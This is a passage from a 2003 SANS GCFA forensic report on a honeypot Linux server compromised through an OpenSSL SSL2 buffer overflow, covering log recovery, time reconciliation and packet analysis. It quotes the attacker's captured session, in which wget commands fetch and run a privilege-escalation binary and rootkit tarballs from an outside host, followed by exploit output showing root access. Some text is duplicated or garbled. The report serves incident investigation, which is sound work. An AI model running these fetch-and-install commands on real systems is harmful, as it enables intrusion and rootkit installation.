<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>5</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>6</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>6133</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl root</td>
<td>0 Jun 30 17:29</td>
<td>6135</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 rpcuser rpcuser</td>
<td>0 Jun 30 17:29</td>
<td>657</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>7</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>7168</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 useridl useridl</td>
<td>0 Jun 30 17:29</td>
<td>7170</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root useridl</td>
<td>0 Jun 30 17:29</td>
<td>7203</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>7206</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>770</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 ntp ntp</td>
<td>0 Jun 30 17:29</td>
<td>790</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>8</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>8125</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>8154</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>842</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>875</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>91</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>916</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>935</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>953</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>apm</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>4 root root</td>
<td>0 Jun 23 11:58</td>
<td>bus</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>cmdline</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>cpubinfo</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>devices</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>dma</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>2 root root</td>
<td>0 Jun 30 17:29</td>
<td>driver</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>exedomains</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>fb</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>filesystems</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>2 root root</td>
<td>0 Jun 30 17:29</td>
<td>fs</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>4 root root</td>
<td>0 Jun 30 17:29</td>
<td>ide</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>interrupts</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>iomem</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>ioports</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>18 root root</td>
<td>0 Jun 30 17:29</td>
<td>irq</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>134221824 Jun 30 17:29</td>
<td>kcore</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>kmsg</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>ksysms</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>loadavg</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>locks</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>mdstat</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>meminfo</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>misc</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>modules</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>1 root root</td>
<td>11 Jun 30 17:29</td>
<td>mounts -&gt; self/mounts</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>1 root root</td>
<td>66 Jun 23 12:00</td>
<td>mtrr</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>3 root root</td>
<td>0 Jun 30 17:29</td>
<td>net</td>
<td></td>
<td></td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>1 root root</td>
<td>0 Jun 30 17:29</td>
<td>partitions</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

 análisis.txt

 Mon Jun 30 17:31:02 CST 2003

 Live-response-june30.md5

df2abab55743c9e230e36930ea38bbab *ifconfig.txt
5fa0917f700a220d79c126cad2de36f4 *lsmod.txt
232cb0c3246942e965b877a0deec06a *lsf.txt
6c1fc3e61d32283a0685464230cdefeb *netstat-routes.txt
662e13363bc2f0600e62802ab0c0f09a *netstat-sockets.txt
345ad946355ca81c282323d6cf576c8f3 *proc-filelist.txt
b3a82cc22339e0b46157ea700d6564b1 *ps.txt
2117efa19b00e242c2ad902fc4dbeaa7 *starttime.txt
4987992ca38fbc2130a01f4ba5bfc84 *stoptime.txt
5e344d4b030b44f1b4c4b415b649293 *w.txt
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had overwritten the logs from June 29, 2003. To recover the deleted log file evidence, the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. `dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync`
3. The image was compressed using gzip and a MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server:

<table>
<thead>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>Action</th>
<th>Event Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:50:35</td>
<td>192.168.1.1</td>
<td>Received</td>
<td>received (3)</td>
</tr>
<tr>
<td></td>
<td>fw=&quot;GNAT-Box&quot;</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>pri=6 flt_type=OFB</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>flt_action=pass</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>msg=&quot;Received (3)&quot;</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>rule=3 proto=251</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>srcport=1274</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>dstport=251</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>interface=sis2</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>flags=0x2</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Tcpdump from snort host:

<table>
<thead>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>Action</th>
<th>Event Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:42:10</td>
<td>192.168.2.15</td>
<td>S</td>
<td></td>
</tr>
<tr>
<td></td>
<td>192.168.2.15:1274</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>&gt; XXX.XXX.42.58.251</td>
<td>S</td>
<td></td>
</tr>
<tr>
<td></td>
<td>904588511:904588511</td>
<td>win</td>
<td>5840</td>
</tr>
<tr>
<td></td>
<td>&lt;mss 1460,sackOK,timestamp 53240532</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>0,nop,wscale 0&gt;</td>
<td>(DF)</td>
<td></td>
</tr>
</tbody>
</table>

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:

- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response:

<table>
<thead>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>Action</th>
<th>Event Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Mon Jun 30</td>
<td>17:18:51 CST 2003</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Sebek log event for recording.starttime for live response:

<table>
<thead>
<tr>
<th>Time</th>
<th>IP Address</th>
<th>Action</th>
<th>Event Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>23:06:09</td>
<td>2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date</td>
<td>/mnt/cdrom/mc++nc 192.168.2.120 1111</td>
<td></td>
</tr>
</tbody>
</table>

The command `snort -r tcpdump.log.1056855401 > tcpdump.out` was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

#snort -d -D -c /usr/local/etc/snort.conf -i fxp1 -l DIR/$DATE
The snort options are defined below:

```
"-d" logs the packet details
"-D" runs snort in daemon mode
"-c" tells snort what configuration file to use
"-i" identifies the interface to monitor
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision’s BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”, signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

```
*Below IP XXX.XXX 108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1779370027 win 5792 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 1:1(0) ack 1 win 5840 <nop,nop,timestamp 5796705 52913844> (DF)
```

```
IP XXX.XXX 108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
14:56:15.502651 XXX.XXX.108.64.55526 > 192.168.2.15.80: S 1779370026:1779370026(0) win 5840 <ms 1460,ackOK,timestamp 5795391 0,nop,wscale 0> (DF)
```

17 “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”, (www.kb.cert.org/vuls/id/102795),
www.securityfocus.com/bin/5363
The tcpdump binary log was parsed through tcpflow with the syntax

```
tcpflow -r tcpdump.log.1056866401 'port 34919'
```

The output was two files “ XXX.XXX.108.64.34919-192.168.002.015.00080” and “192.168.002.015.00080.XXX.XXX.108.64.34919”. The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named “r” is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressd. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;

bash-2.05a$ ++15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
   => 'r'.
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... .........
100% 76.87 KB/s
15:09:13 (76.87 KB/s) - 'r' saved [19916/19916]

./r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16--  http://XXX.XXX.com/eladoht/s.tar.gz
 => `s.tar.gz'

15:11:18 (195.87 KB/s) - `s.tar.gz' saved [352596/352596]
tar -zxvf s.tar.gz;rm -rf s.tar.gz;

ls -al
total 39
.
.
дрвм-xr-x 4 502 502 1024 Mar 24 21:41 .s
.
.

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the rootkit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer over flow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font after the buffer overflow the session starts at 15:18:27 and completes at 15:30:03.

```
^[[0m^[[[1;30m|^[[[0m^[[[1;31m= ^[[0m^[[[37mInstalling trojaned programs^[[[0m^[[[37m
^[[0m^[[[1;31m|^[[[0m^[[[30m
^[[1;30m|^[[[0m^[[[1;31m
^[[0m^[[[37mInstalling my port
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer over flow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font after the buffer overflow the session starts at 15:18:27 and completes at 15:30:03.

```

```
<table>
<thead>
<tr>
<th>dir -al</th>
</tr>
</thead>
<tbody>
<tr>
<td>total 64</td>
</tr>
<tr>
<td>drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..</td>
</tr>
<tr>
<td>drwxrwxrwx 2 root root 1024 Jun 23 12:18 .ICE-unix</td>
</tr>
<tr>
<td>-rwxr-xr-x 1 root root 11 Jun 23 12:00 .X0-lock</td>
</tr>
<tr>
<td>drwxrwxrwx 2 root root 1024 Jun 23 12:00 .X11-unix</td>
</tr>
<tr>
<td>drwxrwxrwx 2 xfs xfs 1024 Jun 23 12:00 .font-unix</td>
</tr>
<tr>
<td>drwx------ 2 root root 1024 Jun 19 11:43 .kde</td>
</tr>
<tr>
<td>drwxrwxr-x 2 root root 1024 Jun 19 11:48 .mozilla</td>
</tr>
<tr>
<td>drwxrwxr-x 2 root root 1024 Jun 19 11:43 .gt</td>
</tr>
<tr>
<td>-rw------- 1 root root 1024 Jun 20 02:17 .rnd</td>
</tr>
<tr>
<td>-rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache</td>
</tr>
<tr>
<td>-rw-r--r-- 1 root root 890 Jun 20 04:14 .X-Test.log</td>
</tr>
<tr>
<td>drwx------ 1 root root 4133 Jun 20 04:14 XF86Config.test</td>
</tr>
<tr>
<td>drwx------- 2 userid1 userid1 1024 Jun 23 12:18 kde-useridl</td>
</tr>
<tr>
<td>drwx------- 2 userid1 userid1 1024 Jun 24 16:40 ksocket-useridl</td>
</tr>
<tr>
<td>drwx------- 2 root root 1024 Jun 23 11:55 ksocket-root</td>
</tr>
<tr>
<td>drwx------ 3 userid1 userid1 1024 Jun 23 12:18 mcop-useridl</td>
</tr>
<tr>
<td>drwx------- 3 root root 1024 Jun 20 10:55 mcop-root</td>
</tr>
<tr>
<td>-rw-r--r-- 1 apache apache 24012 Jun 29 15:28 r</td>
</tr>
<tr>
<td>drwx------ 2 root root 1024 Jun 20 02:20 texconf.Nzu100</td>
</tr>
</tbody>
</table>
```

```
```

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash:
[19893: 1] tcsetattr: Invalid argument
```

```
cd font-unix
```

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash: cd:
font-unix: No such file or directory
```

```
cd .font-unix
```

```
```

readline: warning: rl_prep_terminal: cannot get terminal settingsbash-2.05a$ bash:
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: 2.05a$ readline:
    warning: rl_prep_terminal: cannot
get terminal settings
bash: 2.05a$
    Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
tar (child): bot.tgz: Cannot open: No such file or directory
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error exit delayed from previous errors
bash: [19693: 1]tcsetattr: Invalid argument
bash: cd .X11-pipe: No such file or directory
bash: chmod: getting attributes of 'inetd/services': No such file or directory
bash: inetd/services: No such file or directory
wget XXX.XXX.com/eladoht/bot.tgz;tar -zxvf bot.tgz;rm -rf bot.tgz;cd .X11-pipe;chmod +x
inetd/services;inetd/services;
inetd/services
readline: warning: rl_prep_terminal: cannot get terminal settings
bash: 2.05a$
    Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 764,880 [application/x-tar]
15:32:50 (179.21 KB/s) - 'bot.tgz' saved [764880/764880]
    .
    .
    .
    .
    .
    .
    .
    .
    .
    .

bash: [19893: 1] tcsetattr: Invalid argument

```
ps ax
readline: warning: rl_prep_terminal: cannot get terminal settings
bash-2.05a$

STAT TIME COMMAND
1 ? S 0:04 init
2 ? SW 0:00 [keventd]
3 ? SW 0:00 [kapmd]
4 ? SWN 0:00 [ksoftirqd_CPU0]
5 ? SW 0:02 [kswapd]
6 ? SW 0:00 [bdflush]
7 ? SW 0:00 [kupdater]
8 ? SW 0:00 [mdrecoveryd]
12 ? SW 0:00 [kjournald]
91 ? SW 0:00 [khubd]
186 ? SW 0:00 [kjournald]
187 ? SW 0:00 [kjournald]
188 ? SW 0:00 [kjournald]
189 ? SW 0:00 [kjournald]
657 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
770 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-sc
790 ? SL 0:01 /usr/sbin/apm
842 ? S 0:01 /usr/sbin/sshd
875 ? S 0:00 /usr/sbin/xinetd -stayalive -reuse -pidfile /var/run/xinetd.pid
916 ? S 0:00 /usr/sbin/sendmail: accepting connections
935 ? S 0:00 /usr/sbin/gpm -t ps/2 -m /dev/mouse
953 ? S 0:00 /usr/sbin/cron
1005 ? S 0:03 /usr/sbin/xfs -droppriv -daemon
```
Kevin Miller - Sans GCFA Assignment – v1.4  Page 187

1041 ? S 0:00 /usr/sbin/atd
1050 tty1 S 0:00 /sbin/mingetty tty1
1051 tty2 S 0:00 /sbin/mingetty tty2
1052 tty3 S 0:00 /sbin/mingetty tty3
1053 tty4 S 0:00 /sbin/mingetty tty4
1054 tty5 S 0:00 /sbin/mingetty tty5
1055 tty6 S 0:00 /sbin/mingetty tty6
1056 ? S 0:00 /usr/bin/kdm -nodaemon
1067 S 0:00 -i0
1091 ? S 0:00 /bin/sh /usr/bin/startkde
1175 ? S 0:00 kdeinit: Running...
1178 ? S 0:00 kdeinit: dcopserver --nosid
1181 ? S 0:00 kdeinit: klauncher
1183 ? S 5:52 kdeinit: kded
1192 ? S 0:02 /usr/bin/artsd -F 10 -S 4096 -s 60 -m artsmessage -l
1203 ? S 0:02 kdeinit: knotify
1208 ? S 0:00 kwrapper ksmserver --restore
1210 ? S 0:00 ksmserver --restore
1211 ? S 0:09 kdeinit: kwin --session 117f000001000105612629300000008
1217 ? S 0:18 kdeinit: kicker
1219 ? S 0:35 autorun -l --interval=1000 --cdplayer=/usr/bin/kscd
1220 ? S 0:51 kdeinit: kclipper -icon klipper -miniicon klipper
1226 ? S 0:00 kdeinit: kwrited
1228 ? S 0:00 korgac --miniicon korganizer
1230 ? S 0:00 kalarmd --login
1232 S 5:04 kdeinit: konsole -icon konsole -miniicon konsole
1234 pts/1 S 0:00 /bin/bash
1266 pts/1 S 0:00 su
1269 pts/1 S 0:00 -bash
6133 ? S 0:00 kdeinit: kcookiejar
6135 ? S 0:00 kdesud
7168 ? S 0:12 kdeinit: konsole -icon konsole -miniicon konsole
7170 pts/2 S 0:00 /bin/bash
7203 pts/2 S 0:00 su
7206 pts/2 S 0:00 -bash
8125 ? S 0:01 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
8154 ? S 0:00 /usr/sbin/snmppd -s -l /dev/null -P /var/run/snmpd -a
10606 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10607 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10608 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10609 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10610 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10611 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10612 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
10613 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19365 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19366 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19367 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19368 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19369 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19370 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19371 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19372 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19373 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19374 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19375 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19376 ? S 0:00 /usr/sbin/httpd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUT
19388 ? S 0:00 bash -i
19504 ? S 0:00 ./$
19505 ? Z 0:00 [r <defunct>]
19507 ? S 0:00 /bin/sh
19508 ? S 0:00 su
19509 ? S 0:00 bash
19635 ? S 0:00 minilogd
19678 T 0:00 /usr/bin/weit
19685 S 0:00 popauth
19686 Z 0:00 [weit <defunct>]
